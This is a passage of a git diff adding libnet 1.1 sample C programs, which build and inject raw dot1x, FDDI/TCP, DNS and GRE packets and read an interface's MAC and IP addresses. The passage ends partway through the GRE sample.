+ ip = libnet_build_ipv4(
+ LIBNET_IPV4_H + LIBNET_TCP_H + type + payload_s,/* length */
+ 0, /* TOS */
+ 242, /* IP ID */
+ 0, /* IP Frag */
+ 64, /* TTL */
+ IPPROTO_TCP, /* protocol */
+ 0, /* checksum */
+ src_ip, /* source IP */
+ dst_ip, /* destination IP */
+ NULL, /* payload */
+ 0, /* payload size */
+ l, /* libnet handle */
+ 0); /* libnet id */
+
+ if (ip == -1)
+ {
+ fprintf(stderr, "Can't build IP header: %s\n", libnet_geterror(l));
+ exit(EXIT_FAILURE);
+ }
+
+ }
+ else /* UDP DNS */
+ {
+ ptag4 = libnet_build_udp(
+ 0x6666, /* source port */
+ 53, /* destination port */
+ LIBNET_UDP_H + LIBNET_UDP_DNSV4_H + payload_s, /* packet length */
+ 0, /* checksum */
+ NULL, /* payload */
+ 0, /* payload size */
+ l, /* libnet handle */
+ 0); /* libnet id */
+
+ if (ptag4 == -1)
+ {
+ fprintf(stderr, "Can't build UDP header: %s\n", libnet_geterror(l));
+ goto bad;
+ }
+
+
+ ip = libnet_build_ipv4(
+ LIBNET_IPV4_H + LIBNET_UDP_H + type + payload_s,/* length */
+ 0, /* TOS */
+ 242, /* IP ID */
+ 0, /* IP Frag */
+ 64, /* TTL */
+ IPPROTO_UDP, /* protocol */
+ 0, /* checksum */
+ src_ip, /* source IP */
+ dst_ip, /* destination IP */
+ NULL, /* payload */
+ 0, /* payload size */
+ l, /* libnet handle */
+ 0); /* libnet id */
+
+ if (ip == -1)
+ {
+ fprintf(stderr, "Can't build IP header: %s\n", libnet_geterror(l));
+ exit(EXIT_FAILURE);
+ }
+ }
+
+ /*
+ * write to the wire
+ */
+ c = libnet_write(l);
+ if (c == -1)
+ {
+ fprintf(stderr, "Write error: %s\n", libnet_geterror(l));
+ goto bad;
+ }
+ else
+ {
+ fprintf(stderr, "Wrote %d byte DNS packet; check the wire.\n", c);
+ }
+ libnet_destroy(l);
+ return (EXIT_SUCCESS);
+ bad:
+ libnet_destroy(l);
+ return (EXIT_FAILURE);
+}
diff --git a/libnet/sample/dot1x.c b/libnet/sample/dot1x.c
new file mode 100644
index 0000000..92e8edd
--- /dev/null
+++ b/libnet/sample/dot1x.c
@@ -0,0 +1,113 @@
+/*
+ * $Id: dot1x.c,v 1.2 2004/01/03 20:31:01 mike Exp $
+ *
+ * libnet 1.1
+ * Build a dot1x packet
+ *
+ * Copyright (c) 1998 - 2004 Mike D. Schiffman <mike@infonexus.com>
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ * 1. Redistributions of source code must retain the above copyright
+ * notice, this list of conditions and the following disclaimer.
+ * 2. Redistributions in binary form must reproduce the above copyright
+ * notice, this list of conditions and the following disclaimer in the
+ * documentation and/or other materials provided with the distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
+ * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
+ * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
+ * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
+ * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
+ * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
+ * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
+ * SUCH DAMAGE.
+ *
+ */
+
+#if (HAVE_CONFIG_H)
+#include "../include/config.h"
+#endif
+#include "./libnet_test.h"
+
+int
+main(int argc, char *argv[])
+{
+ int c;
+ libnet_t *l;
+ libnet_ptag_t t;
+ u_char eap_dst[6] = {0x01, 0x80, 0xc2, 0x00, 0x00, 0x03};
+ char *device = NULL;
+ char errbuf[LIBNET_ERRBUF_SIZE];
+ /* Code Id Length(2) Type DesiredType */
+ char payload[] = {0x01, 0x0a, 0x00, 0x7f, 0x03, 0x05};
+
+ printf("libnet 1.1 packet shaping: dot1x\n");
+
+ if (argc > 1)
+ {
+ device = argv[1];
+ }
+ l = libnet_init(
+ LIBNET_LINK_ADV, /* injection type */
+ device, /* network interface */
+ errbuf); /* errbuf */
+
+ if (l == NULL)
+ {
+ fprintf(stderr, "libnet_init() failed: %s", errbuf);
+ exit(EXIT_FAILURE);
+ }
+
+ t = libnet_build_802_1x(
+ 0,
+ LIBNET_802_1X_PACKET,
+ sizeof(payload),
+ payload,
+ sizeof(payload),
+ l,
+ 0);
+ if (t == -1)
+ {
+ fprintf(stderr, "Can't build dot1x header: %s\n", libnet_geterror(l));
+ goto bad;
+ }
+
+ t = libnet_autobuild_ethernet(
+ eap_dst, /* ethernet destination */
+ ETHERTYPE_EAP, /* protocol type */
+ l); /* libnet handle */
+ if (t == -1)
+ {
+ fprintf(stderr, "Can't build ethernet header: %s\n", libnet_geterror(l));
+ goto bad;
+ }
+
+ /*
+ * Write it to the wire.
+ */
+ c = libnet_write(l);
+
+ if (c == -1)
+ {
+ fprintf(stderr, "Write error: %s\n", libnet_geterror(l));
+ goto bad;
+ }
+ else
+ {
+ fprintf(stderr, "Wrote %d byte dot1x packet from context \"%s\"; "
+ "check the wire.\n", c, libnet_cq_getlabel(l));
+ }
+ libnet_destroy(l);
+ return (EXIT_SUCCESS);
+bad:
+ libnet_destroy(l);
+ return (EXIT_FAILURE);
+}
+
+/* EOF */
diff --git a/libnet/sample/fddi_tcp1.c b/libnet/sample/fddi_tcp1.c
new file mode 100644
index 0000000..e363333
--- /dev/null
+++ b/libnet/sample/fddi_tcp1.c
@@ -0,0 +1,213 @@
+/*
+ * libnet 1.1
+ * Build a TCP packet to ride on FDDI
+ *
+ * Copyright (c) 1998 - 2001 Mike D. Schiffman <mike@infonexus.com>
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ * 1. Redistributions of source code must retain the above copyright
+ * notice, this list of conditions and the following disclaimer.
+ * 2. Redistributions in binary form must reproduce the above copyright
+ * notice, this list of conditions and the following disclaimer in the
+ * documentation and/or other materials provided with the distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
+ * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
+ * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
+ * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
+ * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
+ * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
+ * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
+ * SUCH DAMAGE.
+ *
+ */
+
+#if (HAVE_CONFIG_H)
+#include "../include/config.h"
+#endif
+#include "./libnet_test.h"
+
+int
+main(int argc, char *argv[])
+{
+ int c;
+ u_char *cp;
+ libnet_t *l;
+ libnet_ptag_t t;
+ char *payload;
+ u_short payload_s;
+ u_long src_ip, dst_ip;
+ u_short src_prt, dst_prt;
+ char errbuf[LIBNET_ERRBUF_SIZE];
+
+ printf("libnet 1.1 packet shaping: TCP (over FDDI) [link]\n");
+
+ /*
+ * Initialize the library. Root priviledges are required.
+ *
+ * Currently hardcoded for fddi0.
+ */
+ l = libnet_init(
+ LIBNET_LINK, /* injection type */
+ "fddi0", /* network interface */
+ errbuf); /* error buffer */
+
+ if (l == NULL)
+ {
+ fprintf(stderr, "libnet_init() failed: %s", errbuf);
+ exit(EXIT_FAILURE);
+ }
+
+ src_ip = 0;
+ dst_ip = 0;
+ src_prt = 0;
+ dst_prt = 0;
+ payload = NULL;
+ payload_s = 0;
+ while ((c = getopt(argc, argv, "d:s:p:")) != EOF)
+ {
+ switch (c)
+ {
+ /*
+ * We expect the input to be of the form `ip.ip.ip.ip.port`. We
+ * point cp to the last dot of the IP address/port string and
+ * then seperate them with a NULL byte. The optarg now points to
+ * just the IP address, and cp points to the port.
+ */
+ case 'd':
+ if (!(cp = strrchr(optarg, '.')))
+ {
+ usage(argv[0]);
+ }
+ *cp++ = 0;
+ dst_prt = (u_short)atoi(cp);
+ if ((dst_ip = libnet_name2addr4(l, optarg, LIBNET_RESOLVE)) == -1)
+ {
+ fprintf(stderr, "Bad destination IP address: %s\n", optarg);
+ exit(EXIT_FAILURE);
+ }
+ break;
+ case 's':
+ if (!(cp = strrchr(optarg, '.')))
+ {
+ usage(argv[0]);
+ }
+ *cp++ = 0;
+ src_prt = (u_short)atoi(cp);
+ if ((src_ip = libnet_name2addr4(l, optarg, LIBNET_RESOLVE)) == -1)
+ {
+ fprintf(stderr, "Bad source IP address: %s\n", optarg);
+ exit(EXIT_FAILURE);
+ }
+ break;
+ case 'p':
+ payload = optarg;
+ payload_s = strlen(payload);
+ break;
+ default:
+ exit(EXIT_FAILURE);
+ }
+ }
+
+ if (!src_ip || !src_prt || !dst_ip || !dst_prt)
+ {
+ usage(argv[0]);
+ exit(EXIT_FAILURE);
+ }
+
+
+ t = libnet_build_tcp(
+ src_prt, /* source port */
+ dst_prt, /* destination port */
+ 0x01010101, /* sequence number */
+ 0x02020202, /* acknowledgement num */
+ TH_SYN, /* control flags */
+ 32767, /* window size */
+ 0, /* checksum */
+ 0, /* urgent pointer */
+ LIBNET_TCP_H + payload_s, /* TCP packet size */
+ payload, /* payload */
+ payload_s, /* payload size */
+ l, /* libnet handle */
+ 0); /* libnet id */
+ if (t == -1)
+ {
+ fprintf(stderr, "Can't build TCP header: %s\n", libnet_geterror(l));
+ goto bad;
+ }
+
+ t = libnet_build_ipv4(
+ LIBNET_IPV4_H + LIBNET_TCP_H + payload_s, /* length */
+ 0, /* TOS */
+ 242, /* IP ID */
+ 0, /* IP Frag */
+ 64, /* TTL */
+ IPPROTO_TCP, /* protocol */
+ 0, /* checksum */
+ src_ip, /* source IP */
+ dst_ip, /* destination IP */
+ NULL, /* payload */
+ 0, /* payload size */
+ l, /* libnet handle */
+ 0); /* libnet id */
+ if (t == -1)
+ {
+ fprintf(stderr, "Can't build IP header: %s\n", libnet_geterror(l));
+ goto bad;
+ }
+
+ t = libnet_build_fddi(
+ LIBNET_FDDI_FC_REQD | 0x04, /* Asynch LLC - priority 4 */
+ fddi_dst, /* fddi destination */
+ fddi_src, /* fddi source */
+ LIBNET_SAP_SNAP, /* DSAP -> SNAP encap */
+ LIBNET_SAP_SNAP, /* SSAP -> SNAP encap */
+ 0x03, /* Unnumbered info/frame */
+ org_code, /* Organization Code */
+ FDDI_TYPE_IP, /* protocol type */
+ NULL, /* payload */
+ 0, /* payload size */
+ l, /* libnet handle */
+ 0); /* libnet id */
+ if (t == -1)
+ {
+ fprintf(stderr, "Can't build fddi header: %s\n", libnet_geterror(l));
+ goto bad;
+ }
+
+ /*
+ * Write it to the wire.
+ */
+ c = libnet_write(l);
+ if (c == -1)
+ {
+ fprintf(stderr, "Write error: %s\n", libnet_geterror(l));
+ goto bad;
+ }
+ else
+ {
+ fprintf(stderr, "Wrote %d byte TCP packet; check the wire.\n", c);
+ }
+ libnet_destroy(l);
+ return (EXIT_SUCCESS);
+bad:
+ libnet_destroy(l);
+ return (EXIT_FAILURE);
+}
+
+void
+usage(char *name)
+{
+ fprintf(stderr,
+ "usage: %s -s source_ip.source_port -d destination_ip.destination_port"
+ " [-p payload]\n",
+ name);
+}
+
+/* EOF */
diff --git a/libnet/sample/fddi_tcp2.c b/libnet/sample/fddi_tcp2.c
new file mode 100644
index 0000000..1ed29c0
--- /dev/null
+++ b/libnet/sample/fddi_tcp2.c
@@ -0,0 +1,209 @@
+/*
+ * libnet 1.1
+ * Build a TCP packet to ride on FDDI (autobuild)
+ *
+ * Copyright (c) 1998 - 2001 Mike D. Schiffman <mike@infonexus.com>
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ * 1. Redistributions of source code must retain the above copyright
+ * notice, this list of conditions and the following disclaimer.
+ * 2. Redistributions in binary form must reproduce the above copyright
+ * notice, this list of conditions and the following disclaimer in the
+ * documentation and/or other materials provided with the distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
+ * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
+ * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
+ * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
+ * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
+ * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
+ * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
+ * SUCH DAMAGE.
+ *
+ */
+
+#if (HAVE_CONFIG_H)
+#include "../include/config.h"
+#endif
+#include "./libnet_test.h"
+
+int
+main(int argc, char *argv[])
+{
+ int c;
+ u_char *cp;
+ libnet_t *l;
+ libnet_ptag_t t;
+ char *payload;
+ u_short payload_s;
+ u_long src_ip, dst_ip;
+ u_short src_prt, dst_prt;
+ char errbuf[LIBNET_ERRBUF_SIZE];
+
+ printf("libnet 1.1 packet shaping: TCP (over FDDI) [link]\n");
+
+ /*
+ * Initialize the library. Root priviledges are required.
+ *
+ * Currently hardcoded for fddi0.
+ */
+ l = libnet_init(
+ LIBNET_LINK, /* injection type */
+ "fddi0", /* network interface */
+ errbuf); /* error buffer */
+
+ if (l == NULL)
+ {
+ fprintf(stderr, "libnet_init() failed: %s", errbuf);
+ exit(EXIT_FAILURE);
+ }
+
+ src_ip = 0;
+ dst_ip = 0;
+ src_prt = 0;
+ dst_prt = 0;
+ payload = NULL;
+ payload_s = 0;
+ while ((c = getopt(argc, argv, "d:s:p:")) != EOF)
+ {
+ switch (c)
+ {
+ /*
+ * We expect the input to be of the form `ip.ip.ip.ip.port`. We
+ * point cp to the last dot of the IP address/port string and
+ * then seperate them with a NULL byte. The optarg now points to
+ * just the IP address, and cp points to the port.
+ */
+ case 'd':
+ if (!(cp = strrchr(optarg, '.')))
+ {
+ usage(argv[0]);
+ }
+ *cp++ = 0;
+ dst_prt = (u_short)atoi(cp);
+ if ((dst_ip = libnet_name2addr4(l, optarg, LIBNET_RESOLVE)) == -1)
+ {
+ fprintf(stderr, "Bad destination IP address: %s\n", optarg);
+ exit(EXIT_FAILURE);
+ }
+ break;
+ case 's':
+ if (!(cp = strrchr(optarg, '.')))
+ {
+ usage(argv[0]);
+ }
+ *cp++ = 0;
+ src_prt = (u_short)atoi(cp);
+ if ((src_ip = libnet_name2addr4(l, optarg, LIBNET_RESOLVE)) == -1)
+ {
+ fprintf(stderr, "Bad source IP address: %s\n", optarg);
+ exit(EXIT_FAILURE);
+ }
+ break;
+ case 'p':
+ payload = optarg;
+ payload_s = strlen(payload);
+ break;
+ default:
+ exit(EXIT_FAILURE);
+ }
+ }
+
+ if (!src_ip || !src_prt || !dst_ip || !dst_prt)
+ {
+ usage(argv[0]);
+ exit(EXIT_FAILURE);
+ }
+
+
+ t = libnet_build_tcp(
+ src_prt, /* source port */
+ dst_prt, /* destination port */
+ 0x01010101, /* sequence number */
+ 0x02020202, /* acknowledgement num */
+ TH_SYN, /* control flags */
+ 32767, /* window size */
+ 0, /* checksum */
+ 0, /* urgent pointer */
+ LIBNET_TCP_H + payload_s, /* TCP packet size */
+ payload, /* payload */
+ payload_s, /* payload size */
+ l, /* libnet handle */
+ 0); /* libnet id */
+ if (t == -1)
+ {
+ fprintf(stderr, "Can't build TCP header: %s\n", libnet_geterror(l));
+ goto bad;
+ }
+
+ t = libnet_build_ipv4(
+ LIBNET_IPV4_H + LIBNET_TCP_H + payload_s, /* length */
+ 0, /* TOS */
+ 242, /* IP ID */
+ 0, /* IP Frag */
+ 64, /* TTL */
+ IPPROTO_TCP, /* protocol */
+ 0, /* checksum */
+ src_ip, /* source IP */
+ dst_ip, /* destination IP */
+ NULL, /* payload */
+ 0, /* payload size */
+ l, /* libnet handle */
+ 0); /* libnet id */
+ if (t == -1)
+ {
+ fprintf(stderr, "Can't build IP header: %s\n", libnet_geterror(l));
+ goto bad;
+ }
+
+ t = libnet_autobuild_fddi(
+ LIBNET_FDDI_FC_REQD | 0x04, /* Asynch LLC - priority 4 */
+ fddi_dst, /* fddi destination */
+ LIBNET_SAP_SNAP, /* DSAP -> SNAP encap */
+ LIBNET_SAP_SNAP, /* SSAP -> SNAP encap */
+ 0x03, /* Unnumbered info/frame */
+ org_code, /* Organization Code */
+ FDDI_TYPE_IP, /* protocol type */
+ l); /* libnet handle */
+ if (t == -1)
+ {
+ fprintf(stderr, "Can't build fddi header: %s\n", libnet_geterror(l));
+ goto bad;
+ }
+
+ /*
+ * Write it to the wire.
+ */
+ c = libnet_write(l);
+ if (c == -1)
+ {
+ fprintf(stderr, "Write error: %s\n", libnet_geterror(l));
+ goto bad;
+ }
+ else
+ {
+ fprintf(stderr, "Wrote %d byte TCP packet; check the wire.\n", c);
+ }
+ libnet_destroy(l);
+ return (EXIT_SUCCESS);
+bad:
+ libnet_destroy(l);
+ return (EXIT_FAILURE);
+}
+
+void
+usage(char *name)
+{
+ fprintf(stderr,
+ "usage: %s -s source_ip.source_port -d destination_ip.destination_port"
+ " [-p payload]\n",
+ name);
+}
+
+/* EOF */
diff --git a/libnet/sample/get_addr.c b/libnet/sample/get_addr.c
new file mode 100644
index 0000000..7039f35
--- /dev/null
+++ b/libnet/sample/get_addr.c
@@ -0,0 +1,112 @@
+/*
+ * $Id: get_addr.c,v 1.3 2004/01/03 20:31:01 mike Exp $
+ *
+ * libnet 1.1
+ * get_addr.c - Retrieve the MAC and IP address of an interface
+ *
+ * Copyright (c) 1998 - 2004 Mike D. Schiffman <mike@infonexus.com>
+ * All rights reserved.
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ * 1. Redistributions of source code must retain the above copyright
+ * notice, this list of conditions and the following disclaimer.
+ * 2. Redistributions in binary form must reproduce the above copyright
+ * notice, this list of conditions and the following disclaimer in the
+ * documentation and/or other materials provided with the distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
+ * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
+ * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
+ * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
+ * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
+ * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
+ * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
+ * SUCH DAMAGE.
+ *
+ */
+
+#if (HAVE_CONFIG_H)
+#include "../include/config.h"
+#endif
+#include "./libnet_test.h"
+#ifdef __WIN32__
+#include "../include/win32/getopt.h"
+#endif
+
+int
+main(int argc, char *argv[])
+{
+ int c;
+ u_long i;
+ libnet_t *l;
+ char *device = NULL;
+ struct libnet_ether_addr *e;
+ char errbuf[LIBNET_ERRBUF_SIZE];
+
+ printf("libnet 1.1 address getter\n");
+
+ while ((c = getopt(argc, argv, "i:")) != EOF)
+ {
+ switch (c)
+ {
+ case 'i':
+ device = optarg;
+ break;
+ default:
+ exit(EXIT_FAILURE);
+ }
+ }
+
+ /*
+ * Initialize the library. Root priviledges are required.
+ */
+ l = libnet_init(
+ LIBNET_LINK, /* injection type */
+ device, /* network interface */
+ errbuf); /* errbuf */
+
+ if (l == NULL)
+ {
+ fprintf(stderr, "libnet_init() failed: %s", errbuf);
+ exit(EXIT_FAILURE);
+ }
+
+ printf("Interface:\t%s\n", libnet_getdevice(l));
+ e = libnet_get_hwaddr(l);
+ if (e == NULL)
+ {
+ fprintf(stderr, "Can't get hardware address: %s\n", libnet_geterror(l));
+ }
+ else
+ {
+ printf("MAC address:\t");
+ for (c = 0; c < 6; c++)
+ {
+ printf("%2.2x", e->ether_addr_octet[c]);
+ if (c != 5)
+ {
+ printf(":");
+ }
+ }
+ printf("\n");
+ }
+
+ i = libnet_get_ipaddr4(l);
+ if (i == -1)
+ {
+ fprintf(stderr, "Can't get ip address: %s\n", libnet_geterror(l));
+ }
+ else
+ {
+ printf("IP address:\t");
+ printf("%s\n", libnet_addr2name4(i, LIBNET_DONT_RESOLVE));
+ }
+ exit(EXIT_SUCCESS);
+}
+
+/* EOF */
diff --git a/libnet/sample/gre.c b/libnet/sample/gre.c
new file mode 100644
index 0000000..fb203b8
--- /dev/null
+++ b/libnet/sample/gre.c
@@ -0,0 +1,410 @@
+/*
+ *
+ * libnet 1.1
+ * Build a GRE packet
+ * To view: tcpdump -s 0 -n -X -vvv proto gre
+ *
+ * Copyright (c) 2003 Frédéric Raynal <pappy@security-labs.org>
+ * All rights reserved.
+ *
+ *
+ * KNOWN BUG
+ * the encapsulated headers have wrong checksums. I guess this is due to
+ * the one pass libnet_pblock_coalesce() which is really to complicated :(
+ *
+ *
+ * Default packet:
+ * # ./gre -d 1.2.3.4
+ * libnet 1.1 packet shaping: GRE 1701 [link]
+ * Wrote 78 byte GRE packet; check the wire.
+ *
+ * 18:58:12.112157 192.168.1.2 > 1.2.3.4: gre 198.35.123.50.1234 > 103.69.139.107.53: S [bad tcp cksum 698a!] 16843009:16843009(0) win 32767 (ttl 64, id 242, len 40, bad cksum 0!) (ttl 255, id 255, len 64)
+ * 0x0000 4500 0040 00ff 0000 ff2f f4df c0a8 0102 E..@...../......
+ * 0x0010 0102 0304 0000 0800 4500 0028 00f2 0000 ........E..(....
+ * 0x0020 4006 0000 c623 7b32 6745 8b6b 04d2 0035 @....#{2gE.k...5
+ * 0x0030 0101 0101 0202 0202 5002 7fff 6666 0000 ........P...ff..
+ *
+ * Packet with a computed checksum
+ * # ./gre -d 1.2.3.4 -c 0
+ * libnet 1.1 packet shaping: GRE 1701 [link]
+ * Wrote 82 byte GRE packet; check the wire.
+ *
+ * 18:58:22.587513 192.168.1.2 > 1.2.3.4: gre [Cv0] C:7c62 198.35.123.50.1234 > 103.69.139.107.53: S [bad tcp cksum 698a!] 16843009:16843009(0) win 32767 (ttl 64, id 242, len 40, bad cksum 0!) (ttl 255, id 255, len 68)
+ * 0x0000 4500 0044 00ff 0000 ff2f f4db c0a8 0102 E..D...../......
+ * 0x0010 0102 0304 8000 0800 7c62 0000 4500 0028 ........|b..E..(
+ * 0x0020 00f2 0000 4006 0000 c623 7b32 6745 8b6b ....@....#{2gE.k
+ * 0x0030 04d2 0035 0101 0101 0202 0202 5002 7fff ...5........P...
+ * 0x0040 6666 0000 ff..
+ *
+ *
+ * Packet with a forced checksum
+ * # ./gre -d 1.2.3.4 -c 6666
+ * libnet 1.1 packet shaping: GRE 1701 [link]
+ * Wrote 68 byte GRE packet; check the wire.
+ *
+ * 19:04:12.108080 192.168.1.2 > 1.2.3.4: gre [Cv0] C:1a0a 198.35.123.50.1234 > 103.69.139.107.53: S [bad tcp cksum 698a!] 16843009:16843009(0) win 32767 (ttl 64, id 242, len 40, bad cksum 0!) (ttl 255, id 255, len 68)
+ * 0x0000 4500 0044 00ff 0000 ff2f f4db c0a8 0102 E..D...../......
+ * 0x0010 0102 0304 8000 0800 1a0a 0000 4500 0028 ............E..(
+ * 0x0020 00f2 0000 4006 0000 c623 7b32 6745 8b6b ....@....#{2gE.k
+ * 0x0030 04d2 0035 0101 0101 0202 0202 5002 7fff ...5........P...
+ * 0x0040 6666 0000 ff..
+ *
+ *
+ *
+ *
+ * Redistribution and use in source and binary forms, with or without
+ * modification, are permitted provided that the following conditions
+ * are met:
+ * 1. Redistributions of source code must retain the above copyright
+ * notice, this list of conditions and the following disclaimer.
+ * 2. Redistributions in binary form must reproduce the above copyright
+ * notice, this list of conditions and the following disclaimer in the
+ * documentation and/or other materials provided with the distribution.
+ *
+ * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
+ * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+ * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
+ * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
+ * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+ * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
+ * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
+ * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
+ * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
+ * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
+ * SUCH DAMAGE.
+ *
+ */
+
+#if (HAVE_CONFIG_H)
+#include "../include/config.h"
+#endif
+#include "./libnet_test.h"
+
+
+void
+usage(char *prog)
+{
+ fprintf(stderr, "Usage: %s\n", prog);
+ fprintf(stderr, "\t IP options: -d <dst ip> [-s src ip]\n");
+ fprintf(stderr, "\t GRE options: [-v] set RFC 2637 mode (PPP in GRE) (default is RFC 1701 for IP in GRE)\n");
+ fprintf(stderr, "\t\t RFC 1701 options (IP in GRE):\n");
+ fprintf(stderr, "\t\t [-c sum] [-r routing] [-k key] [-n seqnum]\n");
+ fprintf(stderr, "\t\t IP in GRE options: [-S src ip] [-D dst ip]\n");
+ fprintf(stderr, "\t\t RFC 2637 options (PPP in GRE):\n");
+ fprintf(stderr, "\t\t [-a ack]\n");
+
+ exit(1);
+}
+
+/*
+ * ---------------------------------
+ * | Delivery Header |
+ * ---------------------------------
+ * | GRE Header |
+ * ---------------------------------
+ * | Payload packet |
+ * ---------------------------------
+ */
+int
+main(int argc, char *argv[])
+{
+ char c;
+ libnet_t *l;
+ char errbuf[LIBNET_ERRBUF_SIZE];
+ u_long src_ip = 0, dst_ip = 0, gre_src_ip = 0, gre_dst_ip = 0;
+ u_short checksum = 0, offset = 0;
+ u_char *routing = NULL;
+ u_long key = 0, seq = 0;
+ u_short gre_flags = 0;
+ u_long len;
+ u_long size = 0;
+ libnet_ptag_t t;
+
+ printf("libnet 1.1 packet shaping: GRE [link]\n");
+
+ /*
+ * Initialize the library. Root priviledges are required.
+ */
+ l = libnet_init(
+ LIBNET_LINK, /* injection type */
+ NULL, /* network interface */
+ errbuf); /* error buffer */
+
+ if (!l)
+ {
+ fprintf(stderr, "libnet_init: %s", errbuf);
+ exit(EXIT_FAILURE);
+ }
+
+ /*
+ * parse options
+ */
+ while ((c = getopt(argc, argv, "d:s:D:S:c:r:k:n:va:")) != EOF)
+ {
+ switch (c)
+ {
+
+ case 'd':
+ if ((dst_ip = libnet_name2addr4(l, optarg, LIBNET_RESOLVE)) == -1)
+ {
+ fprintf(stderr, "Bad destination IP address: %s\n", optarg);
+ exit(EXIT_FAILURE);
+ }
+ break;
+ case 's':
+ if ((src_ip = libnet_name2addr4(l, optarg, LIBNET_RESOLVE)) == -1)
+ {
+ fprintf(stderr, "Bad source IP address: %s\n", optarg);
+ exit(EXIT_FAILURE);
+ }
+ break;
+ case 'D':
+ if ((gre_dst_ip = libnet_name2addr4(l, optarg, LIBNET_RESOLVE)) == -1)
+ {
+ fprintf(stderr, "Bad destination IP address (GRE): %s\n", optarg);
+ exit(EXIT_FAILURE);
+ }
+ break;
+ case 'S':
+ if ((gre_src_ip = libnet_name2addr4(l, optarg, LIBNET_RESOLVE)) == -1)
+ {
+ fprintf(stderr, "Bad source IP address (GRE): %s\n", optarg);
